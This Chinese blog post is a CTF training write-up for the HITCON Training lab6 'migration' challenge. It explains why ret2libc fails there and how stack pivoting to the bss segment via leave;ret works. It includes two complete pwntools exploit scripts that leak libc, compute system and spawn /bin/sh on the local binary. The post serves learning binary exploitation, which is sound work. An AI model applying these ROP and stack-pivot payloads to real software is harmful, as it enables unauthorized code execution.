暑假集训——Hitcon_Trainning——lab6_migration——栈迁移

博客围绕栈溢出漏洞展开,首次尝试ret2libc方法确定libc版本失败。后采用栈迁移思路,因payload长度短、需多次输入及无法确定栈地址等原因,利用leave;ret;劫持esp,将栈迁移到bss段,分两次完成栈构造,还提及exp及相关trick。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

migration

第一次

  1. 漏洞

栈溢出
avatar
这里的buf溢出了0x40-0x28 个字节

checksec比较友好,没有开地址随机化。

  1. 解决

是一个ret2libc的题目,返回到puts打印libc_start_main的got表地址,确定libc的版本。
这里有一个问题就是我不知道这个count如果在我返回到libc_start_main的话是不是会被初始化,我先试一下。
然后计算system和/bin/sh, 返回到这里。

不行。因为这个libc的基址是后面计算才知道的,没法提前就写进去。

第二次

不是这么搞的= =,好累。
正确的思路是栈迁移。

  1. 漏洞

    还是栈溢出啊。判断是栈迁移的原因有几点

    1. 因为count那个地方其实是一个hint,告诉你ret2libc是行不通的。
    2. 能够构造成payload的长度是0x40-0x28其实只有0x18太短了。
    3. 因为system的地址是算出来的,所以要多次输入,也就是多次返回到read,但是不能直接返回到main函数里面,所以说需要直接返回到read,并且多次通过read再一次栈溢出控制程序流程,所以需要控制栈的地址。但是实在程序加载的时候你是没法确定栈地址的[反正我现在不可以确定],于是就是栈迁移!
  2. 思路

    栈迁移的基本思路是用leave;ret;

    leave;ret;

    mov %ebp,%esp
    pop %ebp
    pop %eip
    

    这样就可以把esp劫持走。

    这道题可以把栈迁移到bss。权限和大小是够的。

    过程

    1. 第一次系统自带的read栈溢出需要打印基址以及实现栈迁移。选择bss段一个中间位置,瞎选一个bss+0x500
      栈的构造应该是
    esp junk data
        ......
    ebp bss+0x500
        put_plt
        pop1ret
        libc_start_main_got
        read_plt
        leave_ret
        0
        bss+0x500
        0x100
    
    1. 第二次的栈溢出需要输入/bin/sh,然后执行system。
      栈的构造是
    esp/ebp bss+0x400
            read_plt
            pop3ret
            0
            bss+0x400
            0x100
            system_addr
            0xdeadbeef
            bss+0x400(bin_sh_addr)
    
    

    pop1ret和pop3ret:
    在这里插入图片描述

    错误: 第一次不能实现这么多功能,他只有0x18个数据,payload长度超了。
    所以要把他分成两次

    1. 第一次
    esp junk data
        ... ...
    ebp bss+0x500
        read_plt
        leave_ret
        0
        bss+0x500
        0x100
    
    1. 第二次
    esp/ebp bss+0x400
            put_plt
            pop1ret
            libc_start_main_got
            read_plt
            leave_ret
            0
            bss+0x400
            0x100
    
    1. 第三次
    esp/ebp bss+0x500
            read_plt
            pop3ret
            0
            bss+0x500
            0x100
            system_addr
            0xdeadbeef
            bss+0x500
    

exp

from pwn import *
from LibcSearcher import *


context.log_level='debug'
sh=process('./migration')
elf=ELF("./migration")
pause()

libc_start_main_got=elf.got['__libc_start_main']
puts_plt=elf.plt['puts']
read_plt=elf.plt['read']
bss_addr=elf.bss()
pop1ret=0x0804836d
pop3ret=0x08048569
leave_ret=0x08048418
offset=0x28

#------------move stack-----------
payload=flat(['A'*offset,bss_addr+0x500,read_plt,leave_ret,0,bss_addr+0x500,0x100])
sh.sendafter("best :\n",payload)

#-----------leak libc base-------
payload=flat([bss_addr+0x400,puts_plt,pop1ret,libc_start_main_got,read_plt,leave_ret,0,bss_addr+0x400,0x100])
sh.send(payload)

libc_start_main_addr=u32(sh.recv()[0:4])

print 'libc_start_main_got---------->{:x}'.format(libc_start_main_addr)
libc=LibcSearcher('__libc_start_main',libc_start_main_addr)
libcbase=libc_start_main_addr-libc.dump('__libc_start_main')

system_addr=libcbase+libc.dump('system')
print 'system----------------------->{:x}'.format(system_addr)

#---------get shell---------------
payload=flat([bss_addr+0x500,read_plt,pop3ret,0,bss_addr+0x500,0x100,system_addr,0xdeadbeef,bss_addr+0x500])
sh.send(payload)
sh.send('/bin/sh\x00')

sh.interactive()
sh.close()

后记

本来想用libcsearch找/bin/sh的地址直接返回,但是谁能想到他太不争气了,和本机的libc版本不同导致不知道找了个啥东西,也不知道system是怎么找对的。
还被师傅骂一通TAT还diss我代码写的丑TAT

这里有一个trick,libc=elf.libc,然后就不用导入libc了。

from pwn import *

context.log_level = 'debug'
sh = process('./migration')
elf = ELF("./migration")
libc = elf.libc
context.binary = "./migration"

libc_start_main_got = elf.got['__libc_start_main']
puts_plt = elf.plt['puts']
read_plt = elf.plt['read']
bss_addr = elf.bss()
pop1ret = 0x0804836d
pop3ret = 0x08048569
leave_ret = 0x08048418
offset = 0x28

#------------move stack-----------
payload=flat(['A'*offset,bss_addr+0x500,read_plt,leave_ret,0,bss_addr+0x500,0x100])
sh.sendafter("best :\n",payload)

#-----------leak libc base-------
payload=flat([bss_addr+0x400,puts_plt,pop1ret,libc_start_main_got,read_plt,leave_ret,0,bss_addr+0x400,0x100])
sh.send(payload)

libc_start_main_addr=u32(sh.recvn(4))

print 'libc_start_main_addr---------->{:x}'.format(libc_start_main_addr)
libc.address = libc_start_main_addr - libc.sym['__libc_start_main']

system_addr=libc.sym['system']
bin_sh_addr=libc.search('/bin/sh').next()
# pause()

print 'system----------------------->{:x}'.format(system_addr)

#---------get shell---------------
payload=flat([bss_addr+0x500,system_addr,0xdeadbeef,bin_sh_addr])
sh.send(payload)

sh.interactive()
sh.close()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值